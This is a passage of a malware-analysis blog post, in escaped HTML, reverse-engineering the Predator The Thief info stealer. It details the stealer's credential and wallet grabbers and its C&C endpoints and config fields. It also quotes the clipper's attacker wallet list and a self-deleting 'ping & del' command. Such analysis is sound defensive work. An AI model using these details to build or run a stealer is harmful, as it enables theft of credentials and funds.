width="249"&gt;&lt;/colgroup&gt; &lt;colgroup width="309"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;&lt;span style="font-family: Liberation Serif;"&gt;File grabbed&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Type&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Actions&lt;/span&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Login Data&lt;/td&gt;&#10;&lt;td align="left"&gt;Chrome / Chromium based&lt;/td&gt;&#10;&lt;td align="left"&gt;Copy &amp;amp; Parse&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Cookies&lt;/td&gt;&#10;&lt;td align="left"&gt;Chrome / Chromium based&lt;/td&gt;&#10;&lt;td align="left"&gt;Copy &amp;amp; Parse&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Web Data&lt;/td&gt;&#10;&lt;td align="left"&gt;Browsers&lt;/td&gt;&#10;&lt;td align="left"&gt;Copy &amp;amp; Parse&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;History&lt;/td&gt;&#10;&lt;td align="left"&gt;Browsers&lt;/td&gt;&#10;&lt;td align="left"&gt;Copy &amp;amp; Parse&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;formhistory.sqlite&lt;/td&gt;&#10;&lt;td align="left"&gt;Mozilla Firefox &amp;amp; Others&lt;/td&gt;&#10;&lt;td align="left"&gt;Copy &amp;amp; Parse&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;cookies.sqlite&lt;/td&gt;&#10;&lt;td align="left"&gt;Mozilla Firefox &amp;amp; Others&lt;/td&gt;&#10;&lt;td align="left"&gt;Copy &amp;amp; Parse&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;wallet.dat&lt;/td&gt;&#10;&lt;td align="left"&gt;Bitcoin&lt;/td&gt;&#10;&lt;td align="left"&gt;Copy &amp;amp; Parse&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;.sln&lt;/td&gt;&#10;&lt;td align="left"&gt;Visual Studio Projects&lt;/td&gt;&#10;&lt;td align="left"&gt;Copy filename into Project.txt&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;main.db&lt;/td&gt;&#10;&lt;td align="left"&gt;Skype&lt;/td&gt;&#10;&lt;td align="left"&gt;Copy &amp;amp; Parse&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;logins.json&lt;/td&gt;&#10;&lt;td align="left"&gt;Chrome&lt;/td&gt;&#10;&lt;td align="left"&gt;Copy &amp;amp; Parse&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;signons.sqlite&lt;/td&gt;&#10;&lt;td align="left"&gt;Mozilla Firefox &amp;amp; Others&lt;/td&gt;&#10;&lt;td align="left"&gt;Copy &amp;amp; Parse&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;places.sqlite&lt;/td&gt;&#10;&lt;td align="left"&gt;Mozilla Firefox &amp;amp; Others&lt;/td&gt;&#10;&lt;td align="left"&gt;Copy &amp;amp; Parse&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Last Version&lt;/td&gt;&#10;&lt;td align="left"&gt;Mozilla Firefox &amp;amp; Others&lt;/td&gt;&#10;&lt;td align="left"&gt;Copy &amp;amp; Parse&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h3&gt;&lt;strong&gt;Grabber n°2 (The dynamic one)&lt;/strong&gt;&lt;/h3&gt;&#10;There is a second grabber in Predator The Thief, and this not only used when there is available config loaded in memory based on the first request done to the C&amp;amp;C. In fact, it's also used as part of the process of searching &amp;amp; copying critical files coming from wallets software, communication software, and others...&#10;&#10;&lt;img class=" size-full wp-image-1035 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-dynamic-grabber.webp" alt="an example of archive intercepted during the C&amp;amp;C Communication" width="1007" height="332" loading="lazy" decoding="async" /&gt;&#10;&#10;&lt;span style="color: var(--color-text);"&gt;The "main function" of this dynamic grabber only required three arguments:&lt;/span&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;The path where you want to search files&lt;/li&gt;&#10;&#9;&lt;li&gt;the requested file or mask&lt;/li&gt;&#10;&#9;&lt;li&gt;A path where the found files will be put in the final archive sent to the C&amp;amp;C&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class=" size-full wp-image-1036 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-dynamic-grabber-args.webp" alt="an example of archive intercepted during the C&amp;amp;C Communication" width="723" height="116" loading="lazy" decoding="async" /&gt;&#10;&#10;When the grabber is configured for a recursive search, it's simply adding at the end of the path the value ".." and checking if the next file is a folder to enter again into the same function again and again.&#10;&#10;In the end, in the fundamentals, this is almost the same pattern as the first grabber with the only difference that in this case, there are no parsing/analyzing files in an in-depth way. It's simply this follow-up&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;Find a matched file based on the requested search&lt;/li&gt;&#10;&#9;&lt;li&gt;creating an entry on the stolen archive folder&lt;/li&gt;&#10;&#9;&lt;li&gt;setting a handle/pointer from the grabbed file&lt;/li&gt;&#10;&#9;&lt;li&gt;Save the whole content to memory&lt;/li&gt;&#10;&#9;&lt;li&gt;Repeat&lt;/li&gt;&#10;&lt;/ol&gt;&#10;Of course, there is a lot of particular cases that are to take in consideration here, but the main idea is like this.&#10;&lt;h3&gt;&lt;strong&gt;What Predator is stealing in the end?&lt;/strong&gt;&lt;/h3&gt;&#10;If we removed the dynamic grabber, this is the current list (for 3.3.2) about what kind of software that is impacted by this stealer, for sure, it's hard to know precisely on the browser all the one that is impacted due to the generic grabber, but in the end, the most important one is listed here.&#10;&#10;VPN&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;NordVPN&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Communication&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Jabber&lt;/li&gt;&#10;&#9;&lt;li&gt;Discord&lt;/li&gt;&#10;&#9;&lt;li&gt;Skype&lt;/li&gt;&#10;&lt;/ul&gt;&#10;FTP&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;WinSCP&lt;/li&gt;&#10;&#9;&lt;li&gt;WinFTP&lt;/li&gt;&#10;&#9;&lt;li&gt;FileZilla&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Mails&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Outlook&lt;/li&gt;&#10;&lt;/ul&gt;&#10;2FA Software&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Authy (Inspired by Vidar)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Games&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Steam&lt;/li&gt;&#10;&#9;&lt;li&gt;Battle.net (Inspired by Kpot)&lt;/li&gt;&#10;&#9;&lt;li&gt;Osu&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Wallets&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Electrum&lt;/li&gt;&#10;&#9;&lt;li&gt;MultiBit&lt;/li&gt;&#10;&#9;&lt;li&gt;Armory&lt;/li&gt;&#10;&#9;&lt;li&gt;Ethereum&lt;/li&gt;&#10;&#9;&lt;li&gt;Bytecoin&lt;/li&gt;&#10;&#9;&lt;li&gt;Bitcoin&lt;/li&gt;&#10;&#9;&lt;li&gt;Jaxx&lt;/li&gt;&#10;&#9;&lt;li&gt;Atomic&lt;/li&gt;&#10;&#9;&lt;li&gt;Exodus&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Browser&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Mozilla Firefox (also Gecko browsers using same files)&lt;/li&gt;&#10;&#9;&lt;li&gt;Chrome (also Chromium browsers using same files)&lt;/li&gt;&#10;&#9;&lt;li&gt;Internet Explorer&lt;/li&gt;&#10;&#9;&lt;li&gt;Edge&lt;/li&gt;&#10;&#9;&lt;li&gt;Unmentioned browsers using the same files detected by the grabber.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Also beside stealing other actions are performed like:&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Performing a webcam picture capture&lt;/li&gt;&#10;&#9;&lt;li&gt;Performing a desktop screenshot&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2&gt;&lt;span style="color: var(--color-text);"&gt;Loader&lt;/span&gt;&lt;/h2&gt;&#10;There is currently 4 kind of loader implemented into this info stealer&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;RunPE&lt;/li&gt;&#10;&#9;&lt;li&gt;CreateProcess&lt;/li&gt;&#10;&#9;&lt;li&gt;ShellExecuteA&lt;/li&gt;&#10;&#9;&lt;li&gt;LoadPE&lt;/li&gt;&#10;&#9;&lt;li&gt;LoadLibrary&lt;/li&gt;&#10;&lt;/ol&gt;&#10;For all the cases, I have explained below (on another part of this analysis) what are the options of each of the techniques performed. There is no magic, there is nothing to explain more about this feature these days. There are enough articles and tutorials that are talking about this. The only thing to notice is that Predator is designed to load the payload in different ways, just by a simple process creation or abusing some process injections (i recommend on this part, to &lt;a href="https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"&gt;read the work from endgame&lt;/a&gt;).&#10;&lt;h2&gt;Module Manager&lt;/h2&gt;&#10;Something really interesting about this stealer these days, it that it developed a feature for being able to add the additional tasks as part of a module/plugin package. Maybe the name of this thing is wrongly named (i will probably be fixed soon about this statement). But now it's definitely sure that we can consider this malware as a modular one.&#10;&#10;&lt;img class=" size-full wp-image-1007 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-module-manager.webp" alt="Module Manager" width="809" height="1201" loading="lazy" decoding="async" /&gt;&#10;&#10;When decrypting the config from check.get, you can understand fast that a module will be launched, by looking at the last entry...&#10;&#10;[PREDATOR_CONFIG]#[GRABBER]#[NETWORK_INFO]#[LOADER]#[&lt;strong&gt;&lt;span style="color: #ff6600;"&gt;example&lt;/span&gt;&lt;/strong&gt;]&#10;&#10;This will be the name of the module that will be requested to the C&amp;amp;C. (this is also the easiest way to spot a new module).&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;&lt;strong&gt;&lt;span style="color: #ff6600;"&gt;example&lt;/span&gt;&lt;/strong&gt;.get&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;strong&gt;&lt;span style="color: #ff6600;"&gt;example&lt;/span&gt;&lt;/strong&gt;.post&lt;/li&gt;&#10;&lt;/ul&gt;&#10;The first request is giving you the config of the module (on my case it was like this), it's saved but NOT decrypted (looks like it will be dealt by the module on this part). The other request is focused on downloading the payload, decrypting it and saving it to the disk in a random folder in %PROGRAMDATA% (also the filename is generated also randomly), when it's done, it's simply executed by ShellExecuteA.&#10;&#10;&lt;img class=" size-full wp-image-1006 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-shellexecute-module.webp" alt="an example of archive intercepted during the C&amp;amp;C Communication" width="1048" height="535" loading="lazy" decoding="async" /&gt;&#10;&#10;Also, another thing to notice, you know that it's designed to launch multiple modules/plugins.&#10;&lt;h2&gt;&lt;span style="color: var(--color-text);"&gt;Clipper (Optional module)&lt;/span&gt;&lt;/h2&gt;&#10;The clipper is one example of the Module that could be loaded by the module manager. As far as I saw, I only see this one (maybe they are other things, maybe not, I don't have the visibility for that).&#10;&#10;Disclaimer: Before people will maybe mistaken, the clipper is proper to Predator the Thief and this is NOT something coming from another actor (if it's the case, the loader part would be used).&#10;&#10;&lt;figure&gt;&lt;img class="alignnone size-full wp-image-1004" src="https://fumik0.com/wp-content/uploads/2019/12/predator-clipper-main.webp" alt="Clipper WinMain function" width="1303" height="773" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;Clipper WinMain function&lt;/figcaption&gt;&lt;/figure&gt;&#10;&#10;This malware module is developed in C++, and like Predator itself, you recognized pretty well the obfuscation proper to it (Stack strings, XOR, SUB, Code spaghetti, GetProcAddress recreated...). Well, everything that you love for slowing down again your analysis.&#10;&#10;As detailed already a little above, the module is designed to grab the config from the main program, decrypting it and starting to do the process routine indefinitely:&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;Open Clipboard&lt;/li&gt;&#10;&#9;&lt;li&gt;Checking content based on the config loaded&lt;/li&gt;&#10;&#9;&lt;li&gt;If something matches put the malicious wallet&lt;/li&gt;&#10;&#9;&lt;li&gt;Sleep&lt;/li&gt;&#10;&#9;&lt;li&gt;Repeat&lt;/li&gt;&#10;&lt;/ol&gt;&#10;The clipper config is rudimentary using "|" as a delimiter. Mask/Regex on the left, malicious wallet on the right.&#10;&lt;pre&gt;1*:1Eh8gHDVCS8xuKQNhCtZKiE1dVuRQiQ58H|&#10;3*:1Eh8gHDVCS8xuKQNhCtZKiE1dVuRQiQ58H|&#10;0x*:0x7996ad65556859C0F795Fe590018b08699092B9C|&#10;q*:qztrpt42h78ks7h6jlgtqtvhp3q6utm7sqrsupgwv0|&#10;G*:GaJvoTcC4Bw3kitxHWU4nrdDK3izXCTmFQ|&#10;X*:XruZmSaEYPX2mH48nGkPSGTzFiPfKXDLWn|&#10;L*:LdPvBrWvimse3WuVNg6pjH15GgBUtSUaWy|&#10;t*:t1dLgBbvV6sXNCMUSS5JeLjF4XhhbJYSDAe|&#10;4*:44tLjmXrQNrWJ5NBsEj2R77ZBEgDa3fEe9GLpSf2FRmhexPvfYDUAB7EXX1Hdb3aMQ9FLqdJ56yaAhiXoRsceGJCRS3Jxkn|&#10;D*:DUMKwVVAaMcbtdWipMkXoGfRistK1cC26C|&#10;A*:AaUgfMh5iVkGKLVpMUZW8tGuyjZQNViwDt|&lt;/pre&gt;&#10;There is no communication with the C&amp;amp;C when the clipper is switching wallet, it's an offline one.&#10;&lt;h2&gt;&lt;span style="color: var(--color-text);"&gt;Self Removal&lt;/span&gt;&lt;/h2&gt;&#10;When the parameters are set to 1 in the Predator config got by check.get, the malware is performing a really simple task to erase itself from the machine when all the tasks are done.&#10;&#10;&lt;img class=" size-full wp-image-990 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-self-remove.webp" alt="Screenshot: Self remove" width="883" height="421" loading="lazy" decoding="async" /&gt;&#10;&#10;By looking at the bottom of the main big function where all the task is performed, you can see two main blocs that could be skipped. these two are huge stack strings that will generate two things.&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;the API request "ShellExecuteA"&lt;/li&gt;&#10;&#9;&lt;li&gt;The command "ping 127.0.0.1 &amp;amp; del %PATH%"&lt;/li&gt;&#10;&lt;/ul&gt;&#10;When all is prepared the thing is simply executed behind the classic register call. By the way, doing a ping request is one of the dozen way to do a sleep call and waiting for a little before performing the deletion.&#10;&#10;&lt;figure&gt;&lt;img class=" size-full wp-image-991 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-shell-execute-a.webp" alt="ShellExecuteA" width="652" height="127" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;This option is not performed by default when the malware is not able to get data from the C&amp;amp;C.&lt;/figcaption&gt;&lt;/figure&gt;&#10;&lt;h2&gt;Telemetry files&lt;/h2&gt;&#10;There is a bunch of files that are proper to this stealer, which are generated during the whole infection process. Each of them has a specific meaning.&#10;&#10;Information.txt&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;Signature of the stealer&lt;/li&gt;&#10;&#9;&lt;li&gt;Stealing statistics&lt;/li&gt;&#10;&#9;&lt;li&gt;Computer specs&lt;/li&gt;&#10;&#9;&lt;li&gt;Number of users in the machine&lt;/li&gt;&#10;&#9;&lt;li&gt;List of logical drives&lt;/li&gt;&#10;&#9;&lt;li&gt;Current usage resources&lt;/li&gt;&#10;&#9;&lt;li&gt;Clipboard content&lt;/li&gt;&#10;&#9;&lt;li&gt;Network info&lt;/li&gt;&#10;&#9;&lt;li&gt;Compile-time of the payload&lt;/li&gt;&#10;&lt;/ol&gt;&#10;Also, this generated file is literally "hell" when you want to dig into it by the amount of obfuscated code.&#10;&#10;&lt;img class=" size-full wp-image-1039 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-information.webp" alt="Information" width="697" height="1107" loading="lazy" decoding="async" /&gt;&#10;&#10;I can quote these following important telemetry files:&#10;&#10;Software.txt&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Windows Build Version&lt;/li&gt;&#10;&#9;&lt;li&gt;Generated User-Agent&lt;/li&gt;&#10;&#9;&lt;li&gt;List of software installed in the machine (checking for x32 and x64 architecture folders)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Actions.txt&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;List of actions &amp;amp; telemetry performed by the stealer itself during the stealing process&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Projects.txt&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;List of SLN filename found during the grabber research (the static one)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;CookeList.txt&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;List of cookies content fetched/parsed&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2&gt;Network&lt;/h2&gt;&#10;&lt;h3&gt;User-Agent "Builder"&lt;/h3&gt;&#10;Sometimes features are fun to dig in when I heard about that predator is now generating dynamic user-agent, I was thinking about some things but in fact, it's way simpler than I thought.&#10;&#10;The User-Agent is generated in 5 steps&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;Decrypting a static string that contains the first part of the User-Agent&lt;/li&gt;&#10;&#9;&lt;li&gt;Using GetTickCount and grabbing the last bytes of it for generating a fake builder version of Chrome&lt;/li&gt;&#10;&#9;&lt;li&gt;Decrypting another static string that contains the end of the User-Agent&lt;/li&gt;&#10;&#9;&lt;li&gt;Concat Everything&lt;/li&gt;&#10;&#9;&lt;li&gt;Profit&lt;/li&gt;&#10;&lt;/ol&gt;&#10;Tihs User-Agent is shown into the software.txt logfile.&#10;&lt;h3&gt;C&amp;amp;C Requests&lt;/h3&gt;&#10;There is currently 4 kind of request seen in Predator 3.3.2 (it's always a POST request)&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="131"&gt;&lt;/colgroup&gt; &lt;colgroup width="383"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;&lt;i&gt;Request&lt;/i&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;em&gt;Meaning&lt;/em&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;api/check.get&lt;/td&gt;&#10;&lt;td align="left"&gt;Get dynamic config, tasks and network info&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;api/gate.get ?……&lt;/td&gt;&#10;&lt;td align="left"&gt;Send stolen data&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;api/.get&lt;/td&gt;&#10;&lt;td align="left"&gt;Get modular dynamic config&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;api/.post&lt;/td&gt;&#10;&lt;td align="left"&gt;Get modular dynamic payload (was like this with the clipper)&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h3&gt;The first step - Get the config &amp;amp; extra Infos&lt;/h3&gt;&#10;For the first request, the response from the server is always in a specific form :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;String obviously base64 encoded&lt;/li&gt;&#10;&#9;&lt;li&gt;Encrypted using RC4 encryption by using the domain name as the key&lt;/li&gt;&#10;&lt;/ul&gt;&#10;When decrypted, the config is pretty easy to guess and also a bit complex (due to the number of options &amp;amp; parameters that the threat actor is able to do).&#10;&lt;pre&gt;[0;1;0;1;1;0;1;1;0;512;]#[[%userprofile%\Desktop|%userprofile%\Downloads|%userprofile%\Documents;*.xls,*.xlsx,*.doc,*.txt;128;;0]]#[Trakai;Republic of Lithuania;54.6378;24.9343;85.206.166.82;Europe/Vilnius;21001]#[]#[Clipper]&lt;/pre&gt;&#10;It's easily understandable that the config is split by the "#" and each data and could be summarized like this&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;The stealer config&lt;/li&gt;&#10;&#9;&lt;li&gt;The grabber config&lt;/li&gt;&#10;&#9;&lt;li&gt;The network config&lt;/li&gt;&#10;&#9;&lt;li&gt;The loader config&lt;/li&gt;&#10;&#9;&lt;li&gt;The dynamic modular config (i.e Clipper)&lt;/li&gt;&#10;&lt;/ol&gt;&#10;I have represented each of them into an array with the meaning of each of the parameters (when it was possible).&#10;&#10;&lt;strong&gt;Predator config&lt;/strong&gt;&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="85"&gt;&lt;/colgroup&gt; &lt;colgroup width="438"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Args&lt;/td&gt;&#10;&lt;td align="left"&gt;Meaning&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Field 1&lt;/td&gt;&#10;&lt;td align="left"&gt;Webcam screenshot&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Field 2&lt;/td&gt;&#10;&lt;td align="left"&gt;Anti VM&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Field 3&lt;/td&gt;&#10;&lt;td align="left"&gt;Skype&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Field 4&lt;/td&gt;&#10;&lt;td align="left"&gt;Steam&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Field 5&lt;/td&gt;&#10;&lt;td align="left"&gt;Desktop screenshot&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Field 6&lt;/td&gt;&#10;&lt;td align="left"&gt;Anti-CIS&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Field 7&lt;/td&gt;&#10;&lt;td align="left"&gt;Self Destroy&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Field 8&lt;/td&gt;&#10;&lt;td align="left"&gt;Telegram&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Field 9&lt;/td&gt;&#10;&lt;td align="left"&gt;Windows Cookie&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Field 10&lt;/td&gt;&#10;&lt;td align="left"&gt;Max size for files grabbed&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Field 11&lt;/td&gt;&#10;&lt;td align="left"&gt;Powershell script (in base64)&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;strong&gt;Grabber config&lt;/strong&gt;&#10;&#10;[]#[GRABBER]#[]#[]#[]&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="85"&gt;&lt;/colgroup&gt; &lt;colgroup width="438"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Args&lt;/td&gt;&#10;&lt;td align="left"&gt;Meaning&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Field 1&lt;/td&gt;&#10;&lt;td align="left"&gt;%PATH% using "|" as a delimiter&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Field 2&lt;/td&gt;&#10;&lt;td align="left"&gt;Files to grab&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Field 3&lt;/td&gt;&#10;&lt;td align="left"&gt;Max sized for each file grabbed&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Field 4&lt;/td&gt;&#10;&lt;td align="left"&gt;Whitelist&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Field 5&lt;/td&gt;&#10;&lt;td align="left"&gt;Recursive search (0 - off | 1 - on)&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;strong&gt;Network info&lt;/strong&gt;&#10;&#10;[]#[]#[NETWORK]#[]#[]&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="85"&gt;&lt;/colgroup&gt; &lt;colgroup width="438"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Args&lt;/td&gt;&#10;&lt;td align="left"&gt;Meaning&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Field 1&lt;/td&gt;&#10;&lt;td align="left"&gt;City&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Field 2&lt;/td&gt;&#10;&lt;td align="left"&gt;Country&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Field 3&lt;/td&gt;&#10;&lt;td align="left"&gt;GPS Coordinate&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Field 4&lt;/td&gt;&#10;&lt;td align="left"&gt;Time Zone&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Field 5&lt;/td&gt;&#10;&lt;td align="left"&gt;Postal Code&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;strong&gt;Loader config&lt;/strong&gt;&#10;&#10;[]#[]#[]#[LOADER]#[]&#10;&#10;&lt;strong&gt;Format&lt;/strong&gt;&#10;&#10;[[URL;3;2;;;;1;amazon.com;0;0;1;0;0;5]]&#10;&#10;&lt;strong&gt;Meaning&lt;/strong&gt;&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;Loader URL&lt;/li&gt;&#10;&#9;&lt;li&gt;Loader Type&lt;/li&gt;&#10;&#9;&lt;li&gt;Architecture&lt;/li&gt;&#10;&#9;&lt;li&gt;Targeted Countries ("," as a delimiter)&lt;/li&gt;&#10;&#9;&lt;li&gt;Blacklisted Countries ("," as a delimiter)&lt;/li&gt;&#10;&#9;&lt;li&gt;Arguments on startup&lt;/li&gt;&#10;&#9;&lt;li&gt;Injected process OR Where it's saved and executed&lt;/li&gt;&#10;&#9;&lt;li&gt;Pushing loader if the specific domain(s) is(are) seen in the stolen data&lt;/li&gt;&#10;&#9;&lt;li&gt;Pushing loader if wallets are presents&lt;/li&gt;&#10;&#9;&lt;li&gt;Persistence&lt;/li&gt;&#10;&#9;&lt;li&gt;Executing in admin mode&lt;/li&gt;&#10;&#9;&lt;li&gt;Random file generated&lt;/li&gt;&#10;&#9;&lt;li&gt;Repeating execution&lt;/li&gt;&#10;&#9;&lt;li&gt;???&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;strong&gt;Loader type (argument 2)&lt;/strong&gt;&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="85"&gt;&lt;/colgroup&gt; &lt;colgroup width="438"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Value&lt;/td&gt;&#10;&lt;td align="left"&gt;Meaning&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;1&lt;/td&gt;&#10;&lt;td align="left"&gt;RunPE&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;2&lt;/td&gt;&#10;&lt;td align="left"&gt;CreateProcess&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;3&lt;/td&gt;&#10;&lt;td align="left"&gt;ShellExecute&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" 